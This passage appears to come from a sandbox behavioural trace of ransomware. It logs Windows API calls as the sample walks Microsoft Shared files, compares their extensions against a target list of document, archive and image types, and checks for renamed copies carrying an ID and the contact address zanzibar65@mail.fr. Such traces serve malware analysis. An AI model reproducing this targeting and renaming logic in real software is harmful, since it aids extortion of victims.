shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0267.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.213] lstrlenW (lpString=".doc") returned 4 [0267.213] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.213] lstrlenW (lpString=".docx") returned 5 [0267.213] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.213] lstrlenW (lpString=".pdf") returned 4 [0267.213] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.213] lstrlenW (lpString=".xls") returned 4 [0267.213] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.213] lstrlenW (lpString=".xlsx") returned 5 [0267.213] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.213] lstrlenW (lpString=".ppt") returned 4 [0267.213] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.213] lstrlenW (lpString=".zip") returned 4 [0267.213] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.213] lstrlenW (lpString=".rar") returned 4 [0267.213] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.213] lstrlenW (lpString=".bz2") returned 4 [0267.213] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.213] lstrlenW (lpString=".7z") returned 3 [0267.213] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.213] lstrlenW (lpString=".dbf") returned 4 [0267.213] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.214] lstrlenW (lpString=".1cd") returned 4 [0267.214] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.214] lstrlenW (lpString=".jpg") returned 4 [0267.214] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.214] lstrlenW (lpString=".doc") returned 4 [0267.214] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.214] lstrlenW (lpString=".docx") returned 5 [0267.214] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.214] lstrlenW (lpString=".pdf") returned 4 [0267.214] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.214] lstrlenW (lpString=".xls") returned 4 [0267.214] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.214] lstrlenW (lpString=".xlsx") returned 5 [0267.214] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.214] lstrlenW (lpString=".ppt") returned 4 [0267.214] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.214] lstrlenW (lpString=".zip") returned 4 [0267.214] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.214] lstrlenW (lpString=".rar") returned 4 [0267.214] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.214] lstrlenW (lpString=".bz2") returned 4 [0267.214] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.214] lstrlenW (lpString=".7z") returned 3 [0267.214] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.214] lstrlenW (lpString=".dbf") returned 4 [0267.214] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.214] lstrlenW (lpString=".1cd") returned 4 [0267.215] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0267.215] lstrlenW (lpString=".jpg") returned 4 [0267.215] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.215] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.215] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.256] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=3584) returned 1 [0267.256] CloseHandle (hObject=0x2fc) returned 1 [0267.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0267.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.259] lstrlenW (lpString=".doc") returned 4 [0267.259] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.259] lstrlenW (lpString=".docx") returned 5 [0267.259] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.259] lstrlenW (lpString=".pdf") returned 4 [0267.259] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.259] lstrlenW (lpString=".xls") returned 4 [0267.259] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.259] lstrlenW (lpString=".xlsx") returned 5 [0267.259] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.259] lstrlenW (lpString=".ppt") returned 4 [0267.260] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.260] lstrlenW (lpString=".zip") returned 4 [0267.260] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.260] lstrlenW (lpString=".rar") returned 4 [0267.260] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.260] lstrlenW (lpString=".bz2") returned 4 [0267.260] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.260] lstrlenW (lpString=".7z") returned 3 [0267.260] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.260] lstrlenW (lpString=".dbf") returned 4 [0267.260] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.260] lstrlenW (lpString=".1cd") returned 4 [0267.260] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.260] lstrlenW (lpString=".jpg") returned 4 [0267.260] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.260] lstrlenW (lpString=".doc") returned 4 [0267.260] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.260] lstrlenW (lpString=".docx") returned 5 [0267.260] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.260] lstrlenW (lpString=".pdf") returned 4 [0267.260] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.261] lstrlenW (lpString=".xls") returned 4 [0267.261] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.261] lstrlenW (lpString=".xlsx") returned 5 [0267.261] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.261] lstrlenW (lpString=".ppt") returned 4 [0267.261] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.261] lstrlenW (lpString=".zip") returned 4 [0267.261] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.261] lstrlenW (lpString=".rar") returned 4 [0267.261] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.261] lstrlenW (lpString=".bz2") returned 4 [0267.261] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.261] lstrlenW (lpString=".7z") returned 3 [0267.261] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.261] lstrlenW (lpString=".dbf") returned 4 [0267.261] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.261] lstrlenW (lpString=".1cd") returned 4 [0267.261] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0267.261] lstrlenW (lpString=".jpg") returned 4 [0267.261] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.261] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0267.261] lstrlenW (lpString="IpsPlugin.dll") returned 13 [0267.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.269] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=94720) returned 1 [0267.269] CloseHandle (hObject=0x2f0) returned 1 [0267.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0267.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.269] lstrlenW (lpString=".doc") returned 4 [0267.269] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.269] lstrlenW (lpString=".docx") returned 5 [0267.269] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0267.269] lstrlenW (lpString=".pdf") returned 4 [0267.269] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.269] lstrlenW (lpString=".xls") returned 4 [0267.269] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.269] lstrlenW (lpString=".xlsx") returned 5 [0267.269] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0267.269] lstrlenW (lpString=".ppt") returned 4 [0267.269] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.269] lstrlenW (lpString=".zip") returned 4 [0267.269] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.269] lstrlenW (lpString=".rar") returned 4 [0267.269] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.269] lstrlenW (lpString=".bz2") returned 4 [0267.269] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.269] lstrlenW (lpString=".7z") returned 3 [0267.270] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.270] lstrlenW (lpString=".dbf") returned 4 [0267.270] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0267.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.270] lstrlenW (lpString=".1cd") returned 4 [0267.270] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0267.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.270] lstrlenW (lpString=".jpg") returned 4 [0267.270] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0267.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.270] lstrlenW (lpString=".doc") returned 4 [0267.270] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.270] lstrlenW (lpString=".docx") returned 5 [0267.270] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0267.270] lstrlenW (lpString=".pdf") returned 4 [0267.270] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.270] lstrlenW (lpString=".xls") returned 4 [0267.270] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.270] lstrlenW (lpString=".xlsx") returned 5 [0267.270] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0267.270] lstrlenW (lpString=".ppt") returned 4 [0267.270] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.270] lstrlenW (lpString=".zip") returned 4 [0267.270] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.270] lstrlenW (lpString=".rar") returned 4 [0267.270] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.270] lstrlenW (lpString=".bz2") returned 4 [0267.270] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.270] lstrlenW (lpString=".7z") returned 3 [0267.270] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.270] lstrlenW (lpString=".dbf") returned 4 [0267.271] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0267.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.271] lstrlenW (lpString=".1cd") returned 4 [0267.271] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0267.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0267.271] lstrlenW (lpString=".jpg") returned 4 [0267.271] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0267.271] Sleep (dwMilliseconds=0x64) [0267.380] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.380] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.380] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=3584) returned 1 [0267.380] CloseHandle (hObject=0x2f0) returned 1 [0267.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0267.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.381] lstrlenW (lpString=".doc") returned 4 [0267.381] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.381] lstrlenW (lpString=".docx") returned 5 [0267.381] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.381] lstrlenW (lpString=".pdf") returned 4 [0267.381] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.381] lstrlenW (lpString=".xls") returned 4 [0267.381] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.381] lstrlenW (lpString=".xlsx") returned 5 [0267.381] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.381] lstrlenW (lpString=".ppt") returned 4 [0267.381] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.381] lstrlenW (lpString=".zip") returned 4 [0267.381] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.381] lstrlenW (lpString=".rar") returned 4 [0267.381] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.381] lstrlenW (lpString=".bz2") returned 4 [0267.381] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.381] lstrlenW (lpString=".7z") returned 3 [0267.381] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.381] lstrlenW (lpString=".dbf") returned 4 [0267.381] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.381] lstrlenW (lpString=".1cd") returned 4 [0267.381] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.382] lstrlenW (lpString=".jpg") returned 4 [0267.382] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.382] lstrlenW (lpString=".doc") returned 4 [0267.382] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.382] lstrlenW (lpString=".docx") returned 5 [0267.382] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.382] lstrlenW (lpString=".pdf") returned 4 [0267.382] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.382] lstrlenW (lpString=".xls") returned 4 [0267.382] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.382] lstrlenW (lpString=".xlsx") returned 5 [0267.382] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.382] lstrlenW (lpString=".ppt") returned 4 [0267.382] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.382] lstrlenW (lpString=".zip") returned 4 [0267.382] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.382] lstrlenW (lpString=".rar") returned 4 [0267.382] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.382] lstrlenW (lpString=".bz2") returned 4 [0267.382] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.382] lstrlenW (lpString=".7z") returned 3 [0267.382] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.382] lstrlenW (lpString=".dbf") returned 4 [0267.382] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.382] lstrlenW (lpString=".1cd") returned 4 [0267.382] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0267.382] lstrlenW (lpString=".jpg") returned 4 [0267.382] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.383] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.383] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.383] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=3584) returned 1 [0267.383] CloseHandle (hObject=0x2f0) returned 1 [0267.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0267.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.383] lstrlenW (lpString=".doc") returned 4 [0267.383] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.383] lstrlenW (lpString=".docx") returned 5 [0267.383] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.383] lstrlenW (lpString=".pdf") returned 4 [0267.383] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.383] lstrlenW (lpString=".xls") returned 4 [0267.383] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.383] lstrlenW (lpString=".xlsx") returned 5 [0267.383] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.383] lstrlenW (lpString=".ppt") returned 4 [0267.383] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.383] lstrlenW (lpString=".zip") returned 4 [0267.383] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.384] lstrlenW (lpString=".rar") returned 4 [0267.384] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.384] lstrlenW (lpString=".bz2") returned 4 [0267.384] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.384] lstrlenW (lpString=".7z") returned 3 [0267.384] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.384] lstrlenW (lpString=".dbf") returned 4 [0267.384] lstrcmpiW (lpString1=".dbf", 